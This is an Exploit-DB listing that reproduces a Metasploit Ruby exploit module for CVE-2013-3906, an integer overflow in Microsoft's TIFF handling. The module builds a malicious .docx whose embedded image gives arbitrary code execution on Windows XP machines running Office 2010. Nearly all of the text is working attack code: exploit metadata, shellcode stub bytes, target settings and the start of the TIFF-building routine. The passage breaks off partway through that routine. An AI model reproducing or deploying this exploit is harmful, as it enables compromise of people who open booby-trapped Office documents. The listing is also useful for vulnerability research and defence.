Exploit-DB #30011
Description: Microsoft - Tagged Image File Format '.TIFF' Integer Overflow (Metasploit)
Type: remote
Platform: windows
Date: 2013-12-03
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex/zip'
require 'nokogiri'

module ::Nokogiri
module XML
  class Builder
    #
    # Some XML documents don't declare the namespace before referencing, but Nokogiri requires one.
    # So here's our hack to get around that by adding a new custom method to the Builder class
    #
    def custom_root(ns)
      e = @parent.create_element(ns)
      e.add_namespace_definition(ns, "href")
      @ns = e.namespace_definitions.find { |x| x.prefix == ns.to_s }
      return self
    end
  end
end
end


class Metasploit3 < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::RopDb

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Microsoft Tagged Image File Format (TIFF) Integer Overflow",
      'Description'    => %q{
          This module exploits a vulnerability found in Microsoft's Tagged Image File Format.
          It was originally discovered in the wild, targeting Windows XP and Windows Server 2003
          users running Microsoft Office, specifically in the Middle East and South Asia region.

          The flaw is due to a DWORD value extracted from the TIFF file that is embedded as a
          drawing in Microsoft Office, and how it gets calculated with user-controlled inputs,
          and stored in the EAX register. The 32-bit register will run out of storage space to
          represent the large vlaue, which ends up being 0, but it still gets pushed as a
          dwBytes argumenet (size) for a HeapAlloc call. The HeapAlloc function will allocate a
          chunk anyway with size 0, and the address of this chunk is used as the destination buffer
          of a memcpy function, where the source buffer is the EXIF data (an extended image format
          supported by TIFF), and is also user-controlled. A function pointer in the chunk returned
          by HeapAlloc will end up being overwritten by the memcpy function, and then later used
          in OGL!GdipCreatePath. By successfully controlling this function pointer, and the
          memory layout using ActiveX, it is possible to gain arbitrary code execution under the
          context of the user.
        },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Unknown', # Some dude wrote it and deployed in the wild, but Haifei Li spotted it
          'sinn3r'   # Metasploit
        ],
      'References'     =>
        [
          [ 'CVE', '2013-3906' ],
          [ 'URL', 'http://technet.microsoft.com/en-us/security/advisory/2896666' ],
          [ 'URL', 'http://blogs.technet.com/b/srd/archive/2013/11/05/cve-2013-3906-a-graphics-vulnerability-exploited-through-word-documents.aspx' ]
        ],
      'Payload'        =>
        {
          'PrependEncoder' => "\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]
                              "\x83\xC0\x08"             + # add eax, byte 8
                              "\x8b\x20"                 + # mov esp, [eax]
                              "\x81\xC4\x30\xF8\xFF\xFF",  # add esp, -2000
          'BadChars'       => "\x00"
        },
      'DefaultOptions'  =>
        {
          'ExitFunction' => "process",
          'PrependMigrate' => true
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # XP SP3 + Office 2010 Standard (14.0.6023.1000 32-bit)
          ['Windows XP SP3 with Office Starndard 2010', {}],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Nov 5 2013", # Microsoft announcement
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME', [true, 'The docx file', 'msf.docx']),
        ], self.class)
  end

  #
  # Creates a TIFF that triggers the overflow
  #
  def make_tiff
    # TIFF Header:
    # TIFF ID                               = 'II' (Intel order)
    # TIFF Version                          = 42d
    # Offset of FID                         = 0x000049c8h
    #
    # Image Directory:
    # Number of entries                     = 17d
    # Entry[0]  NewSubFileType              = 0
    # Entry[1]  ImageWidth                  = 256d
    # Entry[2]  ImageHeight                 = 338d
    # Entry[3]  BitsPerSample               = 8 8 8
    # Entry[4]  Compression                 = JPEG (6)
    # Entry[5]  Photometric Interpretation  = RGP
    # Entry[6]  StripOffsets                = 68 entries (349 bytes)
    # Entry[7]  SamplesPerPixel             = 3
    # Entry[8]  RowsPerStrip                = 5
    # Entry[9]  StripByteCounts             = 68 entries (278 bytes)
    # Entry[10] XResolution                 = 96d
    # Entry[11] YResolution                 = 96d
    # Entry[12] Planar Configuration        = Clunky
    # Entry[13] Resolution Unit             = Inch
    # Entry[14] Predictor                   = None
    # Entry[15] JPEGInterchangeFormatLength = 5252h (1484h)
    # Entry[16] JPEGInterchangeFormat       = 13636d

    # Notes:
    # These values are extracted from the file to calculate the HeapAlloc size that result in the overflow:
    # - JPEGInterchangeFormatLength
    # - DWORD at offset 3324h (0xffffb898), no documentation for this
    # - DWORDS after offset 3328h, no documentation for these, either.
    # The DWORD at offset 4874h is what ends up overwriting the function pointer by the memcpy
    # The trigger is really a TIF file, but is named as a JPEG in the docx package

    buf = ''
    path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906", "word", "media", "image1.jpeg")
    ::File.open(path, "rb") do |f|
      buf = f.read
    end

    # Gain control of the call [eax+50h] instruction
    # XCHG EAX, ESP;